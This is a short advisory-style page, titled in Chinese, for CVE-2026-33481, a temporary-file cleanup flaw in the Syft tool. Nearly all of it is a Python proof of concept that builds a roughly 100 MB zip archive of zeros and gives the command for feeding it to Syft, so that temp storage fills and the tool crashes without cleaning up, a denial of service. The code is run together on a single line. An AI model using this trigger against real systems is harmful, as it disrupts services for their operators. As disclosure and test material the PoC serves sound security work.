CVE-2026-33481 Syft 临时文件清理缺失漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33481: Syft Temporary File Cleanup Vulnerability # This script creates a 'Zipbomb' like structure that can fill temp storage. import zipfile import os # Create a zip file containing a large file (simulating a zipbomb scenario) def create_malicious_archive(filename, uncompressed_size_mb=500): # In a real zipbomb, overlapping layers are used to achieve massive size with small files. # Here we simulate the behavior by creating a large dummy file to zip. # For testing purposes, use a smaller size to avoid crashing the test machine. dummy_content = b'0' * (1024 * 1024) # 1MB chunk with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zf: # Adding a file that appears large when decompressed # Note: Actual zipbombs use compression ratios tricks. # This demonstrates the 'large artifact' trigger mentioned in the CVE. zf.writestr('large_file.txt', dummy_content * 100) print(f"[+] Created archive: {filename}") print(f"[*] Trigger command: syft {filename}") print("[*] Expected behavior on vulnerable versions:") print(" 1. Syft attempts to unpack the archive into temp storage.") print(" 2. Temp storage fills up.") print(" 3. Syft crashes with error.") print(" 4. Temporary files are NOT cleaned up, causing DoS.") if __name__ == "__main__": create_malicious_archive('cve_2026_33481_poc.zip')